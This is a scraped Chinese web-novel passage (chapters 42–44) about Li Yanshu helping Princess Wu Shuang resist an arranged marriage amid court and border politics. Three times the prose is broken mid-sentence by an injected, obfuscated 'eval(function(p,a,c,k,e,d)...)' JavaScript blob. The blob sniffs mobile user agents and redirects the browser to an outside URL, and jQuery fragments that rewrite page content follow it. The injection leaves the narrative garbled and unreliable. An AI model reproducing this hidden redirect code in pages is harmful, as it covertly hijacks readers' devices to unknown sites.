素影与骨衣闻言立刻探身过去,竖起耳朵认真听着。 “我喜欢的人啊,是信皇叔,武信,武与中。” 素影与骨衣听完面面相觑,皆是一副懵象。还是骨衣率先想起信皇叔是谁,脸上难得露出震惊之色,这让素影一头雾水,更加好奇那人是谁。 能让小姐喜欢,还能让一向冷静的骨衣露出惊讶之色。 骨衣按下心底的吃惊,对李砚书道:“小姐,此事得让夫人知晓。” “知晓呀,”李砚书心情颇好地道,“我本也没想瞒着阿娘和阿爹,还有哥哥,这次回信我会写在信中,你记得让快马送至渭阳,以免横生枝节。” 骨衣知道此事的重要性,沉声道:“小姐放心。” 李砚书接道:“主要是我现在不确定他对我看法如何,就这么传出去的话,于我们而言都不好。” 素影立刻道:“小姐这么好,管他是谁呢,肯定会喜欢小姐的。” 骨衣认可地点头。 李砚书失笑,道:“男女相处,两情相悦最重要。若是在没有明确他的心思前宣扬此事,肯定会给他带去烦恼,反而会弄巧成拙。此事我心里有数,你们可别说出去啊,等来日我将人带回渭阳,再向外说不迟。” 得益于那些话本子的功劳,李砚书对情爱一事,不说手拿把掐,但也算是身经百战的。 素影一脸崇拜,道:“小姐好厉害。” 这种事被人这么一脸崇拜地说厉害,饶是李砚书脸皮再厚,也做不到面不改色地接受。她仓促地转开目光,轻咳了一声,对骨衣道:“带人回渭阳这事,你暂时别跟阿娘说啊。” 不然她怕阿娘带着戒尺来元安揍她。 骨衣只得应道:“是。” 马车缓缓停下。 花笙一早便等在门前,见到李砚书的第一眼便上前行礼道:“县主。” 李砚书拉住她的手,道:“你身体还没好完,怎么出来了?手也冷,怎么也不披件氅衣?” 没等花笙说话,李砚书紧接着又抢道,“都说了多少回了,叫我砚书便可,再叫错我可要生气了啊。” 花笙抿着唇,猝然对上李砚书戏谑的目光,旋即低下头,连路都不知道走了。 李砚书道:“我吓到你了?对不住啊,跟素影她们混惯了,一时没收住。” 花笙也不知道自己怎么了,只觉心跳得很快,既欢喜又酸涩。见夏走了之后,已经很久没有人与她这般说话了。 李砚书见人一直不说话,还眼眶逐渐变红,隐隐有要哭的迹象,心头警铃大作。 “这,这是作甚!”李砚书看向素影,用眼神求助。 素影眨眨眼,上前道:“花笙姑娘,小姐平日里爱跟我们玩笑,并不是真的要生你的气,你……” 李砚书抽了抽嘴角,这解释的,还不如不说。 岂料,花笙听见后却突然笑了一声。 素影一头雾水地看过去。 “我,我可以唤你小姐吗?”花笙深吸一口气,故作勇气地问道。 李砚书道:“当然可以。” 在花笙的认知里,李砚书是王爷之女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521337|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还是广明县主,她只是区区一介平民,她觉得自己不配唤李砚书的字,是一种不尊重,所以她唤不出口。想来想去,她想与素影骨衣一般,唤李砚书小姐,亲近又不失分寸。 李砚书觉得花笙心思太重了,一个称谓而已,也能让她紧张至此。拍了拍她的手,道:“进去吧,我都饿了,今日府上吃什么呀?” 素影道:“都是小姐爱吃的,等会小姐可要多吃些,天冷了,更要吃饱喝暖,这样才有力气过冬。” 李砚书哈哈大笑,对花笙道:“听见没,等会可要多吃些。” 花笙抿着唇笑,点头回应。 翌日李砚书一进宫就被宫娥带去了公主院。 路上李砚书认出这不是去清宁宫的路,便问带路的宫娥,宫娥回道:“回县主,殿下昨夜搬往公主院,并吩咐奴婢今日第一时间带县主过去,有要事与县主商议。” 李砚书沉默片刻,又问:“你可知是因为何事?” 宫娥道:“回县主,奴婢不知。” 说话间到了一处转角,宫娥屈膝作出一个请姿。 李砚书脚步一顿,看了眼面前这个宫娥,须臾后,提步继续往前走。 罢了,兵来将挡,水来土掩吧。 直到看见公主院三个字,李砚书才暗自松了口气,同时心里也在飞快思索,武霜搬到公主院作甚?是皇命么? 眼看日子一天天接近年关,武霜在这个时候搬到公主院,说不清为什么,李砚书总觉得出什么事了。 不过一进院内,李砚书就觉得自己或许想多了。 院内七八个太监在洒扫院子,廊下隔几步就有一个宫娥在擦拭地板,宫娥太监来来往往,有条不紊地重新布置着常年无人问津的公主院。 公主院是及笄后还未婚配的公主居住之所,这些年因着皇后宠爱无双公主,即便她及笄多年也没有搬出清宁宫,所以公主院内陈设较为简单。武霜乍然搬进来,什么东西都没有,自然要大刀阔斧地整改一番,于是就有了李砚书现在看到的这幕。 李砚书随领路宫娥来到内院,一进去李砚书觉得这里布置眼熟,等进到屋内,李砚书猛地反应过来,这不就是完全按照清宁宫偏殿的布局来的吗。 不能说完全一样,但也有七成像。 李砚书道:“你怎么搬到这儿来了?” 武霜抬手摒退左右,道:“父皇要给我指婚,我不愿,就搬到这里来了。” 李砚书吃了一惊,“指给谁?” 武霜捏起拳头,咬牙道:“兵部侍郎沈毅之子沈珩。” 李砚书再次吃惊,“什么!” 历来驸马都尉都是从文官里头选,武明帝这次竟然选了兵部之人,且不说沈珩还小武霜一年,再就是朝中谁人不知沈毅就沈珩一个儿子,若是沈珩成了驸马都尉,就意味着沈家不日就要交出兵权,退出兵部之列。 武霜焦急地道:“你快帮我想想办法,我不想嫁给那个沈珩,我……反正我不想嫁人!” 李砚书道:“姨母没说什么吗?” 提到楚皇后,武霜蓦然撇过头去,声音都哑了几分,她道:“我再也不要理母后了。” 42. 回鹘 得,李砚书极有眼色地闭上嘴。 “你说话啊!” 武霜又恼起来,倏地起身,抓起一个茶盏就要往下砸,被李砚书及时拦住。 李砚书道:“息怒息怒,办法不得要时间想啊!” 武霜听见这话手里动作一停,李砚书顺势将茶盏从她手中解救出来。 李砚书这话倒不是在哄武霜,她是真的在想。 短短几息功夫,就有无数念头从李砚书心头滚过。接近年关,各部正是最忙的时候,武明帝在这个时候指婚,究竟意欲何为? 再有就是楚皇后,李砚书刚入元安几个月的人都瞧出来武霜心悦金川世子萧霂,而武霜自幼养在楚皇后膝下,她不可能看不出来武霜的心思。 李砚书沉吟片刻,问:“萧世子知晓此事吗?” 武霜看了李砚书一眼,目光中带着闪躲,小声道:“你提他作甚?” 李砚书顿觉眼前一黑。 “你若是没有心悦之人,又为何要拒这门婚事?” 武霜半晌说不出话来,脸色几变,时而恼怒,时而羞涩。 李砚书接道:“话本子上常说,世间有情人大多错过,不是因为别人阻拦,而是两人都不表明心意。硬生生磋磨时光,等到后面再想说时,早已时过境迁,悔之晚矣,最后只得抱憾终身。” 武霜神色一动,翕动唇瓣,想要说什么,话到了嘴边一打转,又咽了下去。 李砚书定定注视着她,见她还是不说,作势要走,道:“既然殿下心里没有心悦之人,那我就先走了。” “回来!”武霜赶紧将人拉住,面上肉眼可见的纠结,“我说,我说还不行吗!” 李砚书停下。 “他就是个呆子!”武霜道,“我可是无双公主,再怎样也不能我先开这个口吧?砚书,我只跟你说,我心悦他。你得给我想办法,我不想嫁给沈珩。” 李砚书听完却沉默了下来。 武霜见状着急道:“你别不说话啊,你刚刚不还一套一套的吗?你快给我拿个主意,趁父皇还没有明旨,这事应该还能转圜转圜。” “来不及了,”李砚书道,“如果我没有猜错的话,指婚的圣旨明日便会昭告天下。” 武霜不可置信地道:“怎会……” 李砚书的心缓缓沉下去,道:“你还记得之前你与我说回鹘屯兵城下的事吗?” “记得啊,”武霜点头道,“可这事与我的婚事有什么干系?” 李砚书面色凝重,琢磨着措辞,不知该怎么与她说。 回鹘屯兵一事看似与她的婚事毫不相干,但细想一下,公主大婚与国事息息相关,而两国建交最多的一种,也是最为稳妥的一种便是公主和亲。武明帝突然要给武霜指婚,驸马还是兵部中人,这里面牵扯到的东西可就更复杂了。 李砚书脑子里乱成一团,此间种种先前一丁点消息都没有,怎么就突然到了指婚这一步? 武霜见她一直不说话,迎面好似被人泼了一盆凉水,怒火被心悸取缔,她踉跄了一步,跌坐于椅上。 “砚书,”武霜还是不敢相信,喃喃道,“你别吓我,父皇之前都说了,许我选心仪之人做驸马,怎么会突然就变了,要我嫁给一个我不喜欢的人呢,为什么呀?” 李砚书迟疑地道:“无双——” “算了,”武霜摆手道,“你先回去吧,让我一个人好好想想。” 话都说到这了,再加上李砚书确实还没想好有什么办法可以帮到她,只好曲膝行礼退出去。 李砚书一出公主院就让宫娥带她去清宁宫,结果一进清宁宫,钟嬷嬷就过来说皇后娘娘正在礼佛,让李砚书先回学林院。 钟嬷嬷见李砚书过来的匆忙,便多说了一句,“县主心忧殿下,皇后娘娘又何尝不是。” 她话说得隐晦,李砚书却也听明白了。 她知道姨母待武霜如亲生骨肉,在武霜的婚事上自然没有袖手旁观的道理。既然这次姨母在点头这门婚事,想必也是经过深思熟虑的。然而武霜心悦之人不是沈珩,而是萧世子,即便沈珩是一个值得托付之人又如何,武霜也不会开心。 钟嬷嬷招来两个宫娥,道:“送县主回学林院。” 李砚书回到宁院,关上门,将此事说于白鹤行听。 白鹤行听完敛下眼睫,道:“假使我朝与回鹘真的开战,我方胜算如何?” 李砚书看着她,竟真的在心里估量,不过也是在电光火石间,李砚书兀地明白过来——武明帝想出兵回鹘! 难怪要选在这个时候指婚。 朝中一直在传回鹘屯兵城下,却一直不见武明帝有什么旨意传出。年关将至,正是各部最忙的时候,这个时候公主大婚就能让原本就浑浊的水变得愈加浑浊。 白鹤行从箱中取出全州图,摊开在案上,道:“回鹘本身或许不足为惧,但他身后是党项、沙陀,和室韦诸部。老师曾与我说过,回鹘之所以与我朝交好,皆是因为当年北方诸国叛乱,回鹘当时的国主又昏聩无能,眼看国将不国,便只能寻求一个强大的盟友以做庇佑。但今时不同往日,听说回鹘新任国主颇有手段,不仅将回鹘诸部收回大半,更是推行新政,改善牧生,其效果显著,若不是因草原资源稀缺,恐怕回鹘大军早已举兵南下。” 这些李砚书都不知道,在她的印象里回鹘还是那个弹丸小国,国力衰弱,根本不足为惧。 那些同李砚书一个想法的人也压根想不到,曾经匍匐在武朝脚下乞食的小国,竟然能在这么断的时间里迅速崛起,悄悄长成了现在能与武朝一战的模样。 正如少年乐新知,新的国主自然要寻找新的盟友。 白鹤行的图上重新标注了一些地方,有殷虚,有南敕,也有回鹘及身后诸部。 李砚书看见金川,便想到萧霂,问道:“金川最近可有什么消息?” 白鹤行摇头,道:“并没有。” 甚至于安静得有些不同寻常。 李砚书道:“丰州呢?” 白鹤行抬眼,颇为意外地看了李砚书一眼。 “听你说了这么多,我再不想到这一点岂不是有负你们之前夸我之词。”李砚书道,“丰州与回鹘仅一河之隔,来日若是战事再起,于杨家而言,祸福参半。” “我以为你隔阂已消,不想你还是心有芥蒂。”白鹤行道,“杨家或许式微,但他们不会以阛阓安危为注,以谋求高官厚禄。” 李砚书面上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521338|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一讪,道:“适才是我语快。” “攘外必先安内。”白鹤行道,“两军对垒,国家安危,悬于一将。【1】战前定将的重要性不用我多说你也明白,陛下此举恐已定了主将人选。” “会是谁呢?”李砚书指尖轻点桌面,老神在在地道,“沈家可以排除,我阿爹和哥哥也可以排除,杨家……也可以排除。” “我朝刚结束南下殷虚之征,短时间内西南方决计抽不出兵力北上。”白鹤行视线往右缓缓移动,眼里思绪纷涌,数息后猝然停下。 “并州?”李砚书定睛一看,不禁侧眸看向白鹤行,“会不会太远?” “并州有守军三万,且此州州牧姚阆与杨家素来没什么交情,正是此次主将的不二人选。”白鹤行道,“且姚阆早些年曾在金川战事中任先锋都指挥使,此番北伐,主将之位,没有人比他更合适。” 李砚书心中不解,道:“照你这么说,姚阆既然早有军功伴身,又是姚家之人,为何至今还只是一个并州州牧?” 白鹤行语气平和道:“这种事我怎么知道呢。” 李砚书微诧,转而道:“你可有法子帮无双解了这门婚事?” 白鹤行道:“没有。此事皇后娘娘已然默许,任何计策都无济于事。” “可无双心里没有沈珩,”李砚书道,“她喜欢的是……不管是谁,总之不是沈珩。” “喜欢谁重要吗?”白鹤行收起全州图,道,“在国家政事面前,儿女情长,最为无关紧要。” 李砚书道:“话也不能这么说,并不是每个人的感情都关乎国家政事。” 可武霜偏偏是公主。 她享受了常人一辈人享受不到的荣华富贵,自然也要承受荣华富贵带来的枷锁。 白鹤行将图放进箱子里,道:“若你不是牵制渭阳的一颗棋子,今日被指婚的就是你。” 李砚书顿住。 “陛下为何只封你了一个县主,而不是郡主。”白鹤行锁好箱子,转身看着李砚书道,“若你没有来元安,陛下则会册封你为郡主,等到今日,郡主抬为公主,前往金川和亲。” 金川太安静了,如果武朝要举兵攻打回鹘,金川就一定要安抚好。而派遣公主和亲就是最省时省力的办法,可惜,李砚书来了元安。这就注定李砚书短时间内离不开元安,那和亲人选自然要变。 “你还没意识到,为何一直颇受宠爱的无双公主会被匆忙指婚吗?”白鹤行道,“皇后娘娘为何会默许,因为她也知道驸马是谁都可以,唯独不能是萧霂。只要无双公主成婚,和亲人选自然就可以从剩下几位公主里挑。届时和亲安抚金川这匹虎视眈眈的狼,指婚顺理成章架空沈家兵权,如此一来,内外再无忧患。” 李砚书脑子里轰鸣一声,整个人像是被钉子钉住了一样,半晌没有动作。 原是这么早就开始计划了吗? 难怪姨母不肯见她。 白鹤行拾起案上的书,道:“这桩婚事无论于哪位公主而言,也许都是最好的安排。” “不,”李砚书蓦然回首,看着白鹤行道,“以牺牲女子一生换来的和平,本身就虚伪得不堪一击。谈什么维系,来日兵戎相向之际,不见得谁会手下留情。” 43. 心意 “逢场作戏罢了。”白鹤行道,“以后的事谁又能说得准呢。金川如今看似平静,但谁又知道那平静的表面之下是不是隐藏着什么不为人知的秘密呢?比邻而居的可不止殷虚与南敕,还有吐蕃与金川。” 李砚书的眉头拧了拧,“吐蕃?” 白鹤行面色紧绷,语气也显得格外冷淡,“吐蕃与我朝,金川,南敕,回鹘九部皆有接邻,而汉阳更是与其仅一山之隔。我朝几次派遣使者前往都无功而返,不是因为他们的军事实力有多强,而是因其复杂的地理环境。我朝战马已经习惯在平原,甚至草原作战,因此光是在两朝交接山脉处,战马损失就已经过半,更别提进山后面对的更加险峻的地势。” 李砚书听完,沉吟片刻,道:“那位竟提防我李家至此吗?” 白鹤行顿了顿,抬手翻了一页,委婉地道:“捭阖者,天地之道。” 李砚书沉默须臾,突然道:“阿行,我发现你谈论朝堂政事时旁征博引,鞭辟入里,可是在安慰人时却是捉襟见肘。” 白鹤行:“……” 李砚书笑了一下,道:“师父跟我说过,成者王败者寇,不到最后一刻,一定不要轻易认输。武霜以真心待我,所以这件事,我不能袖手旁观。” 白鹤行从书页里抬眼看着她。 李砚书抓起桌上的热茶喝了一口,打开门迈出去,头也不回地道:“走了,晚膳不用等我了。” 白鹤行看着李砚书走远的背影良久不语。 直到一阵风进来,她手里的书页被吹动,细碎的声音响起,她才起身去将门重新合上。 李砚书再次回到公主院,这次都不用宫娥带路,她自己就能轻车熟路地进到内院。奇怪的是,院内静得有些不同寻常,连个洒扫太监都没有。李砚书按下心中疑惑,快步进去。 结果刚到门口,迎面就撞上了从里面探头出来的武霜。 李砚书见她做贼似的,便道:“干什么呢,鬼鬼祟祟的。” “啊!”武霜惊呼一声,心有余悸地拍着胸口,瞪道:“你才鬼鬼祟祟的!还有,你走路怎么没声的?吓死我了。” 李砚书道:“分明是你……” 她话还没说完,就被武霜拉进屋内,砰地一声,门再次关上。 李砚书道:“是你把人支出去的?” “是,”武霜显然心思不在这上面,深吸一口气后,忽然道:“我要去找萧霂,大不了我就……” 李砚书看着她,道:“无双,我不想骗你,有些事姨母不忍跟你说,但我想你总得知道,以免以后你会后悔今日的决定。你听我说完,你再决定要不要去找萧霂好不好?” 武霜还是第一次见李砚书这么一本正经地跟自己说话,她话音陡然停下,听完李砚书说完,她道:“你说吧。” “金川虽然归降我朝十余载,但如今周边各国风波动荡不休,战事其实从未停歇过。”李砚书道,“萧霂是金川世子,来日若是金川与我朝开战,他是会站在我们这边,还是会趁机返回金川这谁也说不准。是我之前把事情想得太简单了,还鼓动你认清自己的心,此事是我考虑欠妥。” 武霜似是不解,问道:“他一定要回金川吗?他不能一直呆在元安吗?” “他的家在金川,他的心也在金川,他不可能一辈子在元安的。”李砚书道,“而且你问他没有,他愿意呆在元安吗?如果来日让他寻得机会,他会为了你甘心留在这里吗?或者说你要为了他一同前往金川,抛下姨母和我们?” 武霜失意地低下头,小声道:“……就没有两全的法子吗?” “你放不下,他自然也放不下。”李砚书上前一步,有些无奈道,“又从哪里去找两全的法子呢?” 武霜抬起头,脸上写满了纠结与无措。 她胆怯了。 这还是第一次,无双公主自出生就不知的东西,在今日体会到了。只是这种进退维谷感觉太难受了,若是遵循父皇之意嫁给沈珩,她不愿意。若是让萧霂再也不能回去金川,萧霂不愿意。不管怎么选,都是无解。 “我要去问他。” 沉默半晌后,武霜终于下定决心。 李砚书道:“想清楚了?” “嗯,”武霜眼神坚定,“不管结果如何,我都要亲口听他跟我说。” “行,”李砚书看着她的眼睛,“有你这句话就够了,不管结果如何,我都站在你这边。” 武霜眼眶顿时发烫,伸手拉住李砚书的手,感动道:“砚书……” 萧霂住在临湖殿,挨着掖庭宫,因此平日里也基本上没什么人过去。 不知是不是从未这样偷偷摸摸地行事,武霜显得格外紧张。一路上如惊弓之鸟般,一丁点动静都能让她如临大敌。 李砚书笑她,“就你这小破胆子,这辈子是干不了什么坏事了。” “什么小破胆子?”武霜虽然听不太懂李砚书说的,但直觉不是什么好词,蹙眉低声道,“这叫谨慎,什么干坏事,你不能瞎说啊!” 李砚书附和道:“是是是,那请问这位谨慎的殿下,现在是否可以松开我的手了呢。” 武霜:“……” 两人一个公主,一个县主,结果在宫里见到几个宫娥跟见到鬼一样,唰地一下躲到墙后,这事说出去恐怕都不会有人信。 武霜情急之下抓住了李砚书的手,可惜过分紧张之下的武霜没有发现。这下被李砚书这么说出来,她欲盖弥彰地匆忙松开李砚书的手,装作无事发生过一样偏头看向别处。 李砚书忍不住想笑,她们其实不用这样,即使光明正大地过去旁人也说不了什么的。但她也看出再说下去某人就要恼羞成怒了,便道:“走吧,趁现在没人。” 武霜毫无攻击性地瞪了李砚书一眼,提步就走。 李砚书赶紧追上去。 武霜在前面微不可察地笑了一下。李砚书这么一来,无形中也缓解了她的紧张情绪,最起码在这条路上她不是一个人。 李砚书的话也让她明白了一些父皇母后的用心,或许指婚一事确实仓促,但是抛开朝廷之事不谈,父皇母后的本意还是在为她着想。 只是她终究要辜负这份苦心了。 若是她现在没有喜欢的人,她或许不会拒绝这门婚事。但她现在心悦之人不是沈珩,所以她没办法什么都不做,就这样认命了。 李砚书在殿外守着。 武霜进去前一步三回头,结果真进去了,心一横,反而干脆了起来。她在屋外叩门,片刻后里面才传来声响。 门一开,萧霂见是武霜,微诧道:“殿下?” 武霜心里全是接下来要问的话,压根没有去仔细看面前的人,只是开门见山地道:“我今日来是有件事想要问你,你需得如实回答我。” 萧霂愣了一瞬,而后合上门出来。 “殿下所问,在下自是坦诚告之。” “那就好。” 武霜也不知道自己为什么要点头,明明已经在心里腹语了无数遍,可话到嘴边,她却不知该怎么说才好了,只能点点头,沉默下来。 过来一会,萧霂突然道:“听闻殿下搬去了公主院,可还适应?” “适应。” 萧霂一问,武霜就下意识接了这话,片刻后才想起是自己要问他话。于是勉强稳定心神,快速道:“父皇要将沈珩指给我做驸马,我不愿意,我心悦之人不是他,你明白吗?” 武霜一口气说完,只觉大脑一片空白,但同时又觉羞臊不已。即便这样,她的眼睛也还是一瞬不瞬地看着萧霂,不愿错过他的任何一丝表情。 万籁俱静里,武霜听见了自己擂鼓似的心跳声。 但是接下来每呼吸一次,她的心便往下沉一分。 时间被无限拉长,但又在间隙中消逝。 武霜眼里的光一点点消失。 终于,萧霂开口了,他的声音一如既往地清雅,他道:“殿下天潢贵胄,千金之躯……” “我不是来听你说这些的!”武霜失落地垂下眼,眼圈瞬间变红,手颤抖成一团,低声道,“……你心里,有我吗?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14529795|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 萧霂愣了一下,嘴唇微动,低下眼错开了武霜的目光。 “我心悦你。”武霜蓦地抬眼。 武霜也想不到自己可以这么平静地说出这句话,甚至说出来后她觉得堵在心口的那块大石头仿佛也随之消失了。 “我心悦你,我想嫁的人是你。” 武霜眼瞳漆黑,认真盯着一个人看时,那双眼仿佛蕴藏着千言万语,都在说——你的心里有我。 下一刻,武霜颤抖着抬起手。 就在她即将要挨上萧霂的手时,萧霂却突然往后退了一步,揖礼道:“多谢公主垂怜,在下侧陋之身,幸叨恩庇,实在不敢耽误殿下芳华。” 武霜鼻头一酸,嘴唇都在微微颤抖,哑声道:“如此吗?只是……这样吗?” 萧霂揖礼的手没有放下,那张温润如玉的脸始终低垂,他道:“是。” 武霜咬住了嘴唇,旋即抬起头,眨了眨眼,眼泪在眼眶里打转,但就是拼命忍住不让其落下。 “好。” 武霜张了张嘴,试了好几次才说出这个字,她狠声道:“今日之事,权当我从未来过,日后你我……形同陌路。” 说完,武霜转身就走。 却在转过身的一刹那,落下眼泪。 李砚书一见到武霜,便知结果如何。李砚书二话不说就将人拉到一处隐蔽地,抬手抱住她。 武霜再也控制不住,眼泪决堤而下。她可是无双公主,她想要什么没有,今日竟然会折在这么个不识好歹的人身上。愤怒、耻辱和痛苦这些她从不曾尝过的滋味正在不断撕扯着她的心,她心中有个声音不停地在喊,停下来!停下来!你可是无双公主,不许为了一个心里没你的男人哭。她是武朝最受宠的无双公主,她有自己的骄傲,她的眼泪不该为一个男人而流。 可她……做不到。 眼泪不受控制地往下流。 她觉得自己的心好像被一只手捏着,痛得她喘不过气来,她好难过。 “砚书,我的心好痛……”武霜闭上眼睛,她止不住眼泪,却可以止住自己的哭声,她紧紧咬着嘴唇,直到嘴里溢出一丝腥味。 “别哭别哭,不痛不痛啊……” 面对武霜的眼泪李砚书手足无措,忽然,她察觉到什么,松开了怀里的人,急道:“你在做什么!快松开!一个有眼无珠的人罢了,这世上好男儿多了去了,他算什么东西,也配叫你落泪。” 武霜一松嘴就想嚎啕大哭,听见李砚书这么说,她一抿嘴,更想哭了。 “砚书——”武霜重新抱住李砚书,泣声道,“我喜欢他好多年了,我以为他待我是不同的,没想到是我一厢情愿!” “不许你这样说自己,”李砚书轻声道,“你看上他,是他的福气。是他不知好歹,来日我定找机会帮你报仇,你今日所受伤害,我要他千倍万倍地还回来。” 武霜垂下眼帘,渐渐止了哭声,随后拿出锦帕拭了拭脸上的泪痕,带着颤音道:“砚书,谢谢你。” 李砚书接过帕子,替她细细擦拭,道:“你我之间,不必言谢。” “嗯。”武霜从李砚书的眼里看到了自己现在的模样,眼眶红肿,神情萎靡,一点都不像自己了。 这不是无双公主,无双公主不会这样狼狈。 武霜看着李砚书,轻声道:“砚书,我想好了,不管我以后是否会嫁给沈珩,我都不会再为了萧霂而流泪。一个心里没我的人,才不值得我这样。以后我与他形如陌路,你不用为我报仇,我与他本身也没什么仇怨,就当从未相识过,好不好?” 李砚书心里还是有些难过,换作以前的武霜,是绝不会说出这一番话来的。 李砚书注视着武霜,轻声道:“好。” 她牵着武霜回公主院,一路上两人都没有再说话。她们都心知肚明,今日过后,有许多事情都将不一样了。 这天夜里,元安迎来了武明十六年的第一场落雪。 大雪悄无声息地覆盖了整座皇城,连同一些不为人知的秘密,一起埋藏。 44. 沙州 夜里李砚书歇在了公主院,武霜与李砚书讲了很多。大到生辰国宴趣事,小到新得了某件好看的首饰,她都与李砚书细细分享。 唯独不提萧霂,仿佛这个人从不曾在她的生命中存在过。 而李砚书总是饶有兴致地回应着她。 夜深了,李砚书的思绪渐渐有些发散,整个人处于半阖眼的状态。武霜也不知何时安静了下来,殿内静得可以听见两人的呼吸声。 李砚书以为武霜已经睡着了,就在这时,耳边传来很小的一声。 “砚书。” “嗯……” 彻夜畅聊的后果,就是第二日两人都起晚了。 两人正在梳妆打扮的时候,钟嬷嬷过来了,对她们道:“皇后娘娘唤殿下与县主一同用早膳。” 武霜与李砚书对视一眼,气氛微沉,武霜道:“嬷嬷稍等,我与砚书即刻便来。” 钟嬷嬷原本低着头,听见这话诧异地抬眼看了武霜一眼,而后又迅速低下头去,行礼道:“是。” “砚书,”武霜拾起一支做工精致的流苏簪子,端详须臾,随后道:“这只簪子是去年生辰时母后所赐,她当时说,愿我今后每年都能如当时一般,快乐。” 李砚书欲言又止,道:“无双。” 武霜将簪子交给正在给她挽发的宫娥手上,示意她给自己簪上。 “我知道母后是为我好,但我还是不想嫁给沈珩。”武霜道,“不是因为其他人,而是因为我做不到什么都不做,就犹如一个傀儡一般,嫁给一个素未蒙面之人。” 李砚书先是一愣,随后沉思片刻,道:“你想如何?” 发髻梳理完毕,武霜抬手示意宫娥退下,她立起身,道:“我要见沈珩。” 李砚书愕然。 殿外积雪尤甚,簌簌风声不停。 武霜看着李砚书,李砚书也看着她。 “纵使不合规矩,我也要见他一面。或许这世上多得是父母之命媒妁之言,连对方长什么样子都不知道就草草下嫁之人,但我不愿成为其中一个。砚书,我并非想不管不顾拒婚,让父皇母后难堪,我只是想见沈珩一面,想在嫁给他之前,知道他长什么样子,是个怎么样的人,仅此而已。” 李砚书道:“若你见了他,你就会心甘情愿嫁给他吗?” 武霜轻声道:“说不上心甘情愿,只是说服自己的一个借口罢了。可我现在就需要这么一个借口说服自己,不然我心里堵得慌。” 李砚书觉得自己好像做错了什么。 这样的武霜让她觉得难过的同时,还有一丝几不可查的惋惜。 惋惜什么呢? 自是惋惜她的天真。不经世事雕琢的瓌玉,浑身上下都透露着一个“真”字。那样不容易地精心养护着,却还是叫它裂了一道口子,璞玉浑金,如今又怎么能不叫人惋惜。 是夜,李砚书回到宁院。 白鹤行正在伏案写着什么,听见动静抬头看了一眼,什么都没说,又伏了下去。 “阿行,”李砚书在外边跺了跺,随手将伞搁在廊下,“降温了也不烧个炉子,不冷么?” 白鹤行终于放下笔墨,道:“我以为你今夜还歇在公主院。” 李砚书取出火折子,动作熟练地点着炭火,道:“这么冷的天,我就算不回来你也要烧炭啊。” 见李砚书动作熟练,白鹤行起身朝她走过去,问道:“你怎么会这些?” “什么?”李砚书半蹲在地上伸手扒拉着炭,慢了半拍才反应过来白鹤行在说什么,回道,“之前在渭阳时师父教我的。” 那时李砚书格外向往话本子上的江湖生活,于是天天缠着毋玄带她出去闯荡江湖。 毋玄便问她,“你知道怎么生火吗?在外面,可没有人伺候你,到时候天冷了,自然也没有人帮你生好炭火。” 李砚书不服气,当即便央着毋玄教她如何生火。后来虽然没什么机会需要她亲自做这些事情,但是手艺还在,今日上手一做,倒是得心应手得很。 李砚书说着,眼角眉梢都写着得意两个字。 白鹤行蹲下来,认真地盯着她的动作看,低声道:“殿下……如何了?” 李砚书闻声偏头看了她一眼,道:“无双她,要比我想象中的还要勇敢。放心吧,她已经没事了。” 白鹤行的目光动了动,随后垂下眸,道:“昨日之事,是我言误。” 李砚书颇为意外,道:“其实你也没有说错,这种情况下,婚事于无双而言或许是最好的安排。” 炭火噼里啪啦地燃起来,李砚书起身,拍了拍手,道:“可这对其他公主不公平。阿行,若是让我来选,我宁愿选择带兵死战边疆,也不愿以牺牲一个姑娘的毕生幸福,来换取暂时的安宁。” 白鹤行缓缓起身,沉默少顷,道:“如果一定要选,你是选救一人,还是选救万人?” 虽然紧闭的屋门将外边呼啸的风雪抵挡在外,但屋内的温度也没比屋外高到哪去。 李砚书倏地将手浸在冷水中,下一刻,她整个人瞬间颤栗一下。这水好像会啃噬皮肤,冰得人直打怵。忍着刺骨的凉意,李砚书飞快地搓着沾黑的手指。 “你是想说,为一个公主的幸福而选择两国开战,值不值得吧?” 白鹤行在她对面坐下。 李砚书从水中抽出手,扯过干净帕子擦了几下,便一个箭步冲到炉子边,伸出手烤着。 “若是选择一位公主和亲,自然可以避免一场战争。”李砚书语气异常平静,“可这是皇帝要想的事情,我只是一个臣子,若非要我来选,我还是会选一战到底。示弱只会助长他国志气,只有拳头永远强硬,他国才会永远不敢来犯。心存忌惮总比虎视眈眈要好。若是为了一时安宁便选择忍气吞声,无异于养虎为患。我阿娘与我说过,只有挨过板子,尝过痛的人才会懂得安分守己。” 说着,李砚书抬手将茶壶放至炉上。 白鹤行忽然道:“还有吗?” 李砚书看向 